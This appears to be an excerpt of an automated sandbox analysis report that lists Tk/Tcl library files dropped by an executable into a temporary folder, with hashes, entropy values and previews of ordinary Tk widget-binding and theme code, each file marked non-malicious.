Preview:	# panedwindow.tcl --.#.# This file defines the default bindings for Tk panedwindow widgets and.# provides procedures that help in implementing those bindings...bind Panedwindow <Button-1> { ::tk::panedwindow::MarkSash %W %x %y 1 }.bind Panedwindow <Button-2> { ::tk::panedwindow::MarkSash %W %x %y 0 }..bind Panedwindow <B1-Motion> { ::tk::panedwindow::DragSash %W %x %y 1 }.bind Panedwindow <B2-Motion> { ::tk::panedwindow::DragSash %W %x %y 0 }..bind Panedwindow <ButtonRelease-1> {::tk::panedwindow::ReleaseSash %W 1}.bind Panedwindow <ButtonRelease-2> {::tk::panedwindow::ReleaseSash %W 0}..bind Panedwindow <Motion> { ::tk::panedwindow::Motion %W %x %y }..bind Panedwindow <Leave> { ::tk::panedwindow::Leave %W }..# Initialize namespace.namespace eval ::tk::panedwindow {}..# ::tk::panedwindow::MarkSash --.#.# Handle marking the correct sash for possible dragging.#.# Arguments:.# w..the widget.# x..widget local x coord.# y..widget local y coord.# proxy.whether this should be a prox

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\pkgIndex.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.040568626710524
Encrypted:	false
SSDEEP:	6:Cjtl17nhRVyDBc6ynID/cL4RpncleXN17MQ94cfBIQ0wrof7MQ94cfBIQe8:ot7rhGDO6LYZlmBIgIBIF8
MD5:	383B6D9C1CFCFC8D8CC00DD092EC5BD3
SHA1:	D95B3E09990BDB68AC0E420DD24208C5C639311A
SHA-256:	7B2A0B3FF68F5A1F06DDB876D472C0A3D2C31EB74E75CABD8B4221FA38E8654B
SHA-512:	0906DD93961C498D0A0BC249C4ECDAD6F1A51357B5BDB04B8ED4864C149B0DAE105B79BCE937C64AEAA15D3791AA5284471889DD7404358F9033957A1D8B0066
Malicious:	false
Reputation:	unknown
Preview:	if {[catch {package present Tcl 8.5.0}]} { return }..if {($::tcl_platform(platform) eq "unix") && ([info exists ::env(DISPLAY)]...\|\| ([info exists ::argv] && ("-display" in $::argv)))} {.. package ifneeded Tk 8.5.19 [list load [file join $dir .. .. bin libtk8.5.dll] Tk]..} else {.. package ifneeded Tk 8.5.19 [list load [file join $dir .. .. bin tk85.dll] Tk]..}..

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\safetk.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	Tcl script, ASCII text
Category:	dropped
Size (bytes):	7265
Entropy (8bit):	4.8155351114904965
Encrypted:	false
SSDEEP:	192:keEoaa0QfsimXorjpgj4oN5QeO9yMfUKvLAN6Zo:keEoRHsiWadgku2UeG
MD5:	79D3CAF583DE0D5C68F377475C2F27F6
SHA1:	2C156DD275DCB09D78994B864EB1BEB2FCA69BAE
SHA-256:	B43A52FABF936FB714BED082773968A6B47A2F06838BCB7BD7D08C0E4F7F8EAD
SHA-512:	76406249A6A99E56F0DA7F021FD44A710F5BE9262BA11859E10FCAE3F70BE9E0CC6B575A950142B8A5B33A7661A0B10F2A89350CDCA7BF67D3D862DE3523B8A8
Malicious:	false
Reputation:	unknown
Preview:	# safetk.tcl --.#.# Support procs to use Tk in safe interpreters..#.# Copyright (c) 1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES...# see safetk.n for documentation..#.#.# Note: It is now ok to let untrusted code being executed.# between the creation of the interp and the actual loading.# of Tk in that interp because the C side Tk_Init will.# now look up the master interp and ask its safe::TkInit.# for the actual parameters to use for it's initialization (if allowed),.# not relying on the slave state..#..# We use opt (optional arguments parsing).package require opt 0.4.1;..namespace eval ::safe {.. # counter for safe toplevels. variable tkSafeId 0.}..#.# tkInterpInit : prepare the slave interpreter for tk loading.# most of the real job is done by loadTk.# returns the slave name (tkInterpInit does).#.proc ::safe::tkInterpIni

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\scale.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7735
Entropy (8bit):	4.926487320842871
Encrypted:	false
SSDEEP:	192:q1xTLZHLUAp8cZIQ+Umuy9vYE2dLTaQfiwHZeABypyTtB:uUN1Umn2dKuHIpCB
MD5:	E48FC52EA40F6DCD4D81E1C1C193A3A8
SHA1:	6BD9ED59BB709580525E4256C14501BC9E421431
SHA-256:	0567F30FBF9ACFAAE7AA9324B00B8EEA776BF90E976D0621E953D3B84C0CECDE
SHA-512:	125252E83278225785002D87D406E3AF62C8C366881F35E733720DBFB678758CFC280C8542B1E755AE5DCEE54B489AC70022638E0C5C757916B67190ABC0F3D7
Malicious:	false
Reputation:	unknown
Preview:	# scale.tcl --.#.# This file defines the default bindings for Tk scale widgets and provides.# procedures that help in implementing the bindings..#.# Copyright (c) 1994 The Regents of the University of California..# Copyright (c) 1994-1995 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# The code below creates the default class bindings for entries..#-------------------------------------------------------------------------..# Standard Motif bindings:..bind Scale <Enter> {. if {$tk_strictMotif} {..set tk::Priv(activeBg) [%W cget -activebackground]..%W configure -activebackground [%W cget -background]. }. tk::ScaleActivate %W %x %y.}.bind Scale <Motion> {. tk::ScaleActivate %W %x %y.}.bind Scale <Leave> {. if {$tk_strictMotif} {..%W configure -activebackground $tk::Priv(activeBg). }.

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\scrlbar.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12235
Entropy (8bit):	5.000424244081932
Encrypted:	false
SSDEEP:	192:AfVS+eVIj0DQ0c0tIT4irpQQtfJMZqSwiXEfY4yhIa7yLIVNpIgdWmDN1gFBA:yjwQLsITzGOfmkSwORVqaGcV4q7CBA
MD5:	707E86BF28DE85DFDFBD204886756C37
SHA1:	3AA4EFAAD78D374E5A39DD5F2234F523157E27BD
SHA-256:	B1AC7F4C326D6B1A57ECF775B58A8093B91A0294A96D7A44A81ACE279EE57468
SHA-512:	ECB4F299BF00DDDC1FA0576FB1D086E15E70983D6AD466D43DAF97AD73EFF4934F7DD8D9BE69D5D31AD23F3341B66B60496E81C10B6CC8685C5E38EB627EEFED
Malicious:	false
Reputation:	unknown
Preview:	# scrlbar.tcl --.#.# This file defines the default bindings for Tk scrollbar widgets..# It also provides procedures that help in implementing the bindings..#.# Copyright (c) 1994 The Regents of the University of California..# Copyright (c) 1994-1996 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# The code below creates the default class bindings for scrollbars..#-------------------------------------------------------------------------..# Standard Motif bindings:.if {[tk windowingsystem] eq "x11" \|\| [tk windowingsystem] eq "aqua"} {..bind Scrollbar <Enter> {. if {$tk_strictMotif} {..set tk::Priv(activeBg) [%W cget -activebackground]..%W configure -activebackground [%W cget -background]. }. %W activate [%W identify %x %y].}.bind Scrollbar <Motion> {. %W activate [%W identify %x %y].}..# The

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\spinbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15087
Entropy (8bit):	5.016543299113458
Encrypted:	false
SSDEEP:	192:aR1uvx3VYxRryqkfYQ1427SCe3bbVFMiop9Y465uaMY+c6RhO1ON6Qb4qRiZ0NPW:MuS3XVF6pl65/YRhO46qz8wdEt
MD5:	BFDE52A662336A590C71948294E904D4
SHA1:	6F14762A91EAC479FA63C60049DA4DA5D38AF2C6
SHA-256:	E69D65C61096377805982CD52B748EE11DA7761AEE122757584D25C2EEB75759
SHA-512:	4ACB4B866A59B9288C4D20800CB91865D101C65D53C51916260BFF7821D107F0ADBBF6E1EC4C34D19CD828C5FCDB1EB408A8EFDC16797F47FD1EAA2B9077E984
Malicious:	false
Reputation:	unknown
Preview:	# spinbox.tcl --.#.# This file defines the default bindings for Tk spinbox widgets and provides.# procedures that help in implementing those bindings. The spinbox builds.# off the entry widget, so it can reuse Entry bindings and procedures..#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..# Copyright (c) 1999-2000 Jeffrey Hobbs.# Copyright (c) 2000 Ajuba Solutions.#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# Elements of tk::Priv that are used in this file:.#.# afterId -..If non-null, it means that auto-scanning is underway.#...and it gives the "after" id for the next auto-scan.#...command to be executed..# mouseMoved -..Non-zero means the mouse has moved a significant.#...amount since the button went down (so, for example,.#...start dragging out a

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\tclIndex

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	22293
Entropy (8bit):	4.754781774330704
Encrypted:	false
SSDEEP:	384:edtm3fv2ZzffGIgowSDxD7n2s7AcBnaUuFyLWFot5gzSG3k96vNTWuoJnfOvWhbf:eds3fv2ZzffGIgowSDxD7nd7AcBnahFE
MD5:	CDF95BAC59CD99E61769D91753521781
SHA1:	25C66F8D06275DD8692380193DFCC84230F6C2D0
SHA-256:	9D9A75EBF2F72666CDE7C8E00BB4985A5581B7668F33948B4A25D1E860755F63
SHA-512:	A678F234AC74734831CCC1CDBAD0545770AF91F5FC663908EB19B3AAFD858460A29AC0BB5ADF6863AA674346066B5DD7C8DE9932BC93ACA909D970D21E75FB79
Malicious:	false
Reputation:	unknown
Preview:	# Tcl autoload index file, version 2.0.# This file is generated by the "auto_mkindex" command.# and sourced to set up indexing information for one or.# more commands. Typically each line is a command that.# sets an element in the auto_index array, where the.# element name is the name of a command and the value is.# a script that loads the command...set auto_index(::tk::dialog::error::Return) [list source [file join $dir bgerror.tcl]].set auto_index(::tk::dialog::error::Details) [list source [file join $dir bgerror.tcl]].set auto_index(::tk::dialog::error::SaveToLog) [list source [file join $dir bgerror.tcl]].set auto_index(::tk::dialog::error::Destroy) [list source [file join $dir bgerror.tcl]].set auto_index(::tk::dialog::error::bgerror) [list source [file join $dir bgerror.tcl]].set auto_index(bgerror) [list source [file join $dir bgerror.tcl]].set auto_index(::tk::ButtonInvoke) [list source [file join $dir button.tcl]].set auto_index(::tk::ButtonAutoInvoke) [list source [file join

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\tearoff.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5143
Entropy (8bit):	4.671801205676465
Encrypted:	false
SSDEEP:	96:MgPXEnPQcTtD7zxeHK7ijhgdhAhbbjymL/KK2pLQY4QYNHL43IwzS6ejW:MgPUnPtTtFeqmjhgdhIbbjymL/KKeLQY
MD5:	405AB0EA001287D3304372EC6005E67F
SHA1:	159EBB2B84CABC16EDDB9B5335F2AE2043F46AF7
SHA-256:	CE7B3E10B24C14000B8BDD85B2F5B949B57122467C579B8DA2762AA7CFD9695C
SHA-512:	845ABE6D27D91F2525C513A57E9C001E71BB11CF0E4031B83F57FC54D1C6F941A8B28CA83428125173C7F2A7840214E9DAEA2BB2982C6C232D5DC6648A128452
Malicious:	false
Reputation:	unknown
Preview:	# tearoff.tcl --.#.# This file contains procedures that implement tear-off menus..#.# Copyright (c) 1994 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# ::tk::TearoffMenu --.# Given the name of a menu, this procedure creates a torn-off menu.# that is identical to the given menu (including nested submenus)..# The new torn-off menu exists as a toplevel window managed by the.# window manager. The return value is the name of the new menu..# The window is created at the point specified by x and y.#.# Arguments:.# w -...The menu to be torn-off (duplicated)..# x -...x coordinate where window is created.# y -...y coordinate where window is created..proc ::tk::TearOffMenu {w {x 0} {y 0}} {. # Find a unique name to use for the torn-off menu. Find the first. # ancestor of w that is a toplevel but not a menu,

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\text.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	33953
Entropy (8bit):	4.915282191126566
Encrypted:	false
SSDEEP:	384:ThUzJSoWjNGbEBFFRzGa4UNKEFx8wredko/gVVqeNi/9bembFWaHnla98ffl2qiR:T80NGQF6+Ndyy+eina98fflAAlde
MD5:	8D93EE56FA849024B4CD2A5CA179CE0F
SHA1:	6AF6154427B2525B6F7D114A7966F11A06F7B609
SHA-256:	F058DEED61688EE9FAF20179B2D7AC7ED5C055FA588942E3CAD0766E4F20AC87
SHA-512:	5278E84A24B64EEB345AD079C346099861C46D77DE5CDD535B1753E638DB6AC7A9910CD4D9E0CB7EA9F8DE09772CB3BB6464341C90CAF30AA9EC36683A2C4FC1
Malicious:	false
Reputation:	unknown
Preview:	# text.tcl --.#.# This file defines the default bindings for Tk text widgets and provides.# procedures that help in implementing the bindings..#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1997 Sun Microsystems, Inc..# Copyright (c) 1998 by Scriptics Corporation..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..#-------------------------------------------------------------------------.# Elements of ::tk::Priv that are used in this file:.#.# afterId -..If non-null, it means that auto-scanning is underway.#...and it gives the "after" id for the next auto-scan.#...command to be executed..# char -..Character position on the line; kept in order.#...to allow moving up or down past short lines while.#...still remembering the desired position..# mouseMoved -..Non-zero means the mouse has moved a significant.#...amount since the button went down (so, for exampl

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\tk.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	Tcl script, ASCII text
Category:	dropped
Size (bytes):	18037
Entropy (8bit):	5.011040594036543
Encrypted:	false
SSDEEP:	384:/SQlIVXSlH462gngqeObubJLwvYmE5h2PQQ86cLVFiB4tdpAL1G0J5hAzUSlmvur:/S+IVilHRkh2PQJJKB4a1u9c0
MD5:	D5F2DAAFB98A0C0915D1CF9DA46937B1
SHA1:	9949F05D8F38339788FE79CC8C5D79A371444E9F
SHA-256:	6851BFAC2FFFE9BAC7C8552B81370DD8BD37EFF1B93489C0590D0C082806AC2F
SHA-512:	799B09D3F3A42001206CF5749C273C7F4ED634D96C61962E2D2A609BCD77C572947308CB52736AA1D8C5F45402D0969AD65B1003E33A28979AB765CC419F5F3A
Malicious:	false
Reputation:	unknown
Preview:	# tk.tcl --.#.# Initialization script normally executed in the interpreter for each Tk-based.# application. Arranges class bindings for widgets..#.# Copyright (c) 1992-1994 The Regents of the University of California..# Copyright (c) 1994-1996 Sun Microsystems, Inc..# Copyright (c) 1998-2000 Ajuba Solutions..#.# See the file "license.terms" for information on usage and redistribution of.# this file, and for a DISCLAIMER OF ALL WARRANTIES...package require Tcl 8.5.;# Guard against [source] in an 8.4- interp before....;# using 8.5 [package] features..# Insist on running with compatible version of Tcl.package require Tcl 8.5.0.# Verify that we have Tk binary and script components from the same release.package require -exact Tk 8.5.19..# Create a ::tk namespace.namespace eval ::tk {. # Set up the msgcat commands. namespace eval msgcat {..namespace export mc mcmax. if {[interp issafe] \|\| [catch {package require msgcat}]} {. # The msgcat package is not available. S

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\tkfbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	Tcl script, ASCII text
Category:	dropped
Size (bytes):	54195
Entropy (8bit):	4.980984810583439
Encrypted:	false
SSDEEP:	768:arK2vrrHpHxgsOo66U+uDKjrvX8NzpNCHK7fCN4:ar9vrr0Po66U+sK/vmpNCHK7f24
MD5:	38EEC162FAA1C129B10151C0202EE75D
SHA1:	0C1659800A4D0301DBE8953FEFCBA68F7014ABA7
SHA-256:	DE3AFF8A62DF7A9CA1A78466033314B75357D0CA8A21D3DBFB7699E55740F6AB
SHA-512:	58F218B5152520EF8C62C25859227BB1C49DECA6C14A72420B55EE623F6A3BA0268C45B8C4B178B139E2F92D5EA43CF926A850BDD553877D8B0C79328D47ABE4
Malicious:	false
Reputation:	unknown
Preview:	# tkfbox.tcl --.#.#.Implements the "TK" standard file selection dialog box. This.#.dialog box is used on the Unix platforms whenever the tk_strictMotif.#.flag is not set..#.#.The "TK" standard file selection dialog box is similar to the.#.file selection dialog box on Win95(TM). The user can navigate.#.the directories by clicking on the folder icons or by.#.selecting the "Directory" option menu. The user can select.#.files by clicking on the file icons or by entering a filename.#.in the "Filename:" entry..#.# Copyright (c) 1994-1998 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..package require Ttk...#----------------------------------------------------------------------.#.#.. I C O N L I S T.#.# This is a pseudo-widget that implements the icon list inside the.# ::tk::dialog::file:: dialog box..#.#----------------------------------------------------------------------..#

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\altTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3342
Entropy (8bit):	4.893964295093112
Encrypted:	false
SSDEEP:	48:xICAIX5RupDdMrwuQb8qRZRK9FVGQJFVGQuxzUFIG0usf2kGKQH+n5dvW88L+iSo:hXoFADfVta9DY
MD5:	909F379DB70A6072D49D0B48D07A32FD
SHA1:	D6E0323EB4549327E5A4722015448A80AC3A99E4
SHA-256:	83D9A5889205EE8EAE23E262F15187EEBFE19375BC6C9D464E570CD5FD1F5B2C
SHA-512:	9ECAE6EF7EC784B5104ADFA2EBBB1F33116470BD3A0346D04D945A3A20C569EC052C28BCF4E914F4264D0CA80C27AD5FB43078CFE38318203E5698B6B84D13CC
Malicious:	false
Reputation:	unknown
Preview:	#.# Ttk widget set: Alternate theme.#..namespace eval ttk::theme::alt {.. variable colors. array set colors {..-frame .."#d9d9d9"..-window.."#ffffff"..-darker ."#c3c3c3"..-border.."#414141"..-activebg ."#ececec"..-disabledfg."#a3a3a3"..-selectbg."#4a6984"..-selectfg."#ffffff". }.. ttk::style theme settings alt {...ttk::style configure "." \.. -background .$colors(-frame) \.. -foreground .black \.. -troughcolor.$colors(-darker) \.. -bordercolor.$colors(-border) \.. -selectbackground .$colors(-selectbg) \.. -selectforeground .$colors(-selectfg) \.. -font ..TkDefaultFont \.. ;...ttk::style map "." -background \.. [list disabled $colors(-frame) active $colors(-activebg)] ;..ttk::style map "." -foreground [list disabled $colors(-disabledfg)] ;. ttk::style map "." -embossed [list disabled 1] ;...ttk::style configure TButton \.. -anchor center -width -11 -padding "1 1" \.. -relief raised -shiftrelief 1 \.. -highlightthickness 1 -highligh

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\aquaTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2001
Entropy (8bit):	4.976834248247965
Encrypted:	false
SSDEEP:	24:mjP8dTLsQdWyrF4srKp7UPl7UzT7Ub0aeKgNIii6jOMj0b3M+t2bUuERG6dup+Kx:tdlBlblITKleKgNX1gPc+JFzVcX0jX4
MD5:	288F477ED1FBFBB02CF9E35B23878EDB
SHA1:	BBC4AD4A502D52DEDB40D44BBFCB7DA7897BBDC4
SHA-256:	C2D4B12BD82C056B3A1B5C655FFC2D85208DF74C3FA486EF64AADBC64A021F95
SHA-512:	CE28CCFE9F7E16AC5B9E5C8C8A0445ECBAE82493F8A5C779B4FA4E2FD9BA1F7E7D4A644AC6283A104AADE2EF1F5CFAC676B52CC5D700ACF5DF77653006FB9A4B
Malicious:	false
Reputation:	unknown
Preview:	#.# Aqua theme (OSX native look and feel).#..namespace eval ttk::theme::aqua {. ttk::style theme settings aqua {...ttk::style configure . \.. -font TkDefaultFont \.. -background systemWindowBody \.. -foreground systemModelessDialogActiveText \.. -selectbackground systemHighlight \.. -selectforeground systemModelessDialogActiveText \.. -selectborderwidth 0 \.. -insertwidth 1...ttk::style map . \.. -foreground {disabled systemModelessDialogInactiveText... background systemModelessDialogInactiveText} \.. -selectbackground {background systemHighlightSecondary... !focus systemHighlightSecondary} \.. -selectforeground {background systemModelessDialogInactiveText... !focus systemDialogActiveText}...# Workaround for #1100117:..# Actually, on Aqua we probably shouldn't stipple images in..# disabled buttons even if it did work.....ttk::style configure . -stipple {}...ttk::style configure TButton -anchor center -width -6..ttk::style configure Toolbutton -

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\button.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2978
Entropy (8bit):	4.8919006418640265
Encrypted:	false
SSDEEP:	48:hpNRZ/rtWkRMC0ScGHsAEfKPi7K1MFNQ6z4Dvh8niT6CUI+SfRHThp:DNRZzse1cGH3UvKmFNQ6z2hT6CUI+4Hb
MD5:	EA7CF40852AFD55FFDA9DB29A0E11322
SHA1:	B7B42FAC93E250B54EB76D95048AC3132B10E6D8
SHA-256:	391B6E333D16497C4B538A7BDB5B16EF11359B6E3B508D470C6E3703488E3B4D
SHA-512:	123D78D6AC34AF4833D05814220757DCCF2A9AF4761FE67A8FE5F67A0D258B3C8D86ED346176FFB936AB3717CFD75B4FAB7373F7853D44FA356BE6E3A75E51B9
Malicious:	false
Reputation:	unknown
Preview:	#.# Bindings for Buttons, Checkbuttons, and Radiobuttons..#.# Notes: <Button1-Leave>, <Button1-Enter> only control the "pressed".# state; widgets remain "active" if the pointer is dragged out..# This doesn't seem to be conventional, but it's a nice way.# to provide extra feedback while the grab is active..# (If the button is released off the widget, the grab deactivates and.# we get a <Leave> event then, which turns off the "active" state).#.# Normally, <ButtonRelease> and <ButtonN-Enter/Leave> events are .# delivered to the widget which received the initial <ButtonPress>.# event. However, Tk [grab]s (#1223103) and menu interactions.# (#1222605) can interfere with this. To guard against spurious.# <Button1-Enter> events, the <Button1-Enter> binding only sets.# the pressed state if the button is currently active..#..namespace eval ttk::button {}..bind TButton <Enter> ..{ %W instate !disabled {%W state active} }.bind TButton <Leave>..{ %W state !active }.bind TButton <Key-space>.{ ttk:

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\clamTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4261
Entropy (8bit):	4.849408646746382
Encrypted:	false
SSDEEP:	48:9NlU3tCKW3PiAu4UZQsk+EBSucCtCqM368CtTU/+RR8Rf/sY2+rF+xzFjueNoDKM:SHjO7uCkqM3JCNU/RrVb
MD5:	F2EEFF6F288437CA0DA802F6844A414C
SHA1:	61A722FFDA5F5FBA842F673AC3B95062452567C2
SHA-256:	4CC2DC26FE379F69CE46A73ABFBABEB9DD5509C41616E1D5A8395BE94170C62C
SHA-512:	23DA52FA6E8046CF383BEFD338B96550DE253983EEB3F29F183AD4BFCDBDA730B93ED9C6F0EAE3CEE816FF978FD77DBBC8B1C714B18120B718EB017D37BCB0D7
Malicious:	false
Reputation:	unknown
Preview:	#.# "Clam" theme..#.# Inspired by the XFCE family of Gnome themes..#..namespace eval ttk::theme::clam {. variable colors . array set colors {..-disabledfg."#999999"..-frame ."#dcdad5"..-window ."#ffffff"..-dark.."#cfcdc8"..-darker ."#bab5ab"..-darkest."#9e9a91"..-lighter."#eeebe7"..-lightest ."#ffffff"..-selectbg."#4a6984"..-selectfg."#ffffff". }.. ttk::style theme settings clam {...ttk::style configure "." \.. -background $colors(-frame) \.. -foreground black \.. -bordercolor $colors(-darkest) \.. -darkcolor $colors(-dark) \.. -lightcolor $colors(-lighter) \.. -troughcolor $colors(-darker) \.. -selectbackground $colors(-selectbg) \.. -selectforeground $colors(-selectfg) \.. -selectborderwidth 0 \.. -font TkDefaultFont \.. ;...ttk::style map "." \.. -background [list disabled $colors(-frame) \.... active $colors(-lighter)] \.. -foreground [list disabled $colors(-disabledfg)] \.. -selectbackground [list !focus $colors(-darkest

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\classicTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3520
Entropy (8bit):	4.904850162459333
Encrypted:	false
SSDEEP:	48:yAJZjsTMw9EEy6kvzuVubguxjFVGQJFVGQuxzUFIGQutK2MRvD7J+iSVaND2kG/h:yAJZ8MhJiV8fVIV7Urt
MD5:	8071763DA22437B3DBBA8276DFCB31D9
SHA1:	FBC8DC3198F49A6915A8AB6B4A388450B71A998D
SHA-256:	92F7BEFAD42820E988806601DCA49719FA651C88B8767B3347B13706EE3C17F9
SHA-512:	E49B2DDBA1FC6E53BAA5B39AAAD496B6931562CB135F8EAB495661229FAD7085CEBDEA28221F3D1927B96012E3B3AD1ECD41A36E42AD672628F9FD2C755C07D4
Malicious:	false
Reputation:	unknown
Preview:	#.# "classic" Tk theme..#.# Implements Tk's traditional Motif-like look and feel..#..namespace eval ttk::theme::classic {.. variable colors; array set colors {..-frame.."#d9d9d9"..-window.."#ffffff"..-activebg."#ececec"..-troughbg."#c3c3c3"..-selectbg."#c3c3c3"..-selectfg."#000000"..-disabledfg."#a3a3a3"..-indicator."#b03060". }.. ttk::style theme settings classic {..ttk::style configure "." \.. -font..TkDefaultFont \.. -background..$colors(-frame) \.. -foreground..black \.. -selectbackground.$colors(-selectbg) \.. -selectforeground.$colors(-selectfg) \.. -troughcolor.$colors(-troughbg) \.. -indicatorcolor.$colors(-frame) \.. -highlightcolor.$colors(-frame) \.. -highlightthickness.1 \.. -selectborderwidth.1 \.. -insertwidth.2 \.. ;...# To match pre-Xft X11 appearance, use:..#.ttk::style configure . -font {Helvetica 12 bold}...ttk::style map "." -background \.. [list disabled $colors(-frame) active $colors(-activebg)]..ttk::style map "." -

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\combobox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12394
Entropy (8bit):	5.023972528049574
Encrypted:	false
SSDEEP:	192:l/9k9hqpFXQN9lQt3NvnIW+KYNbrulkL90t98VrQETczIT9QeSaQjJI1/P0lcLrM:BhlLtVL5MmIRK
MD5:	CF03B3F5E179F5032AFB6355905636A0
SHA1:	D4C7EAC03B8ECAD6A94E7A9EB7BBFF562768ED3C
SHA-256:	30BB473C0471F4D015FCF4B51044A026520D53927F61F3D514EA53B8AF0BCF67
SHA-512:	DAE0DDB29D6E1E38EF65C70001BF836F1A12CFA9246658A87DFBBE02F6CB949C00F0A2ADBCA6C2200D583F2AB71F3E6BAB02C754801C0EAEEB2880D2ACD91122
Malicious:	false
Reputation:	unknown
Preview:	#.# Combobox bindings..#.# <<NOTE-WM-TRANSIENT>>:.#.#.Need to set [wm transient] just before mapping the popdown.#.instead of when it's created, in case a containing frame.#.has been reparented [#1818441]..#.#.On Windows: setting [wm transient] prevents the parent.#.toplevel from becoming inactive when the popdown is posted.#.(Tk 8.4.8+).#.#.On X11: WM_TRANSIENT_FOR on override-redirect windows.#.may be used by compositing managers and by EWMH-aware.#.window managers (even though the older ICCCM spec says.#.it's meaningless)..#.#.On OSX: [wm transient] does utterly the wrong thing..#.Instead, we use [MacWindowStyle "help" "noActivates hideOnSuspend"]..#.The "noActivates" attribute prevents the parent toplevel.#.from deactivating when the popdown is posted, and is also.#.necessary for "help" windows to receive mouse events..#."hideOnSuspend" makes the popdown disappear (resp. reappear).#.when the parent toplevel is deactivated (resp. reactivated)..#.(see [#1814778]). Also set [wm resiz

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\cursors.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4007
Entropy (8bit):	4.827479665184231
Encrypted:	false
SSDEEP:	48:xtIni2E1nmuVoLlTxG6qVXvDiPOaCkhxKLbqnJ2RLWumgMJVZlZPDjsfMh8vIviX:sn+myoLBxG3laOqJlZT3rkdSVOJm0
MD5:	74596004DFDBF2ECF6AF9C851156415D
SHA1:	933318C992B705BF9F8511621B4458ECB8772788
SHA-256:	7BDFFA1C2692C5D1CF67B518F9ACB32FA4B4D9936ED076F4DB835943BC1A00D6
SHA-512:	0D600B21DB67BF9DADBDD49559573078EFB41E473E94124AC4D2551BC10EC764846DC1F7674DAA79F8D2A8AEB4CA27A5E11C2F30EDE47E3ECEE77D60D7842262
Malicious:	false
Reputation:	unknown
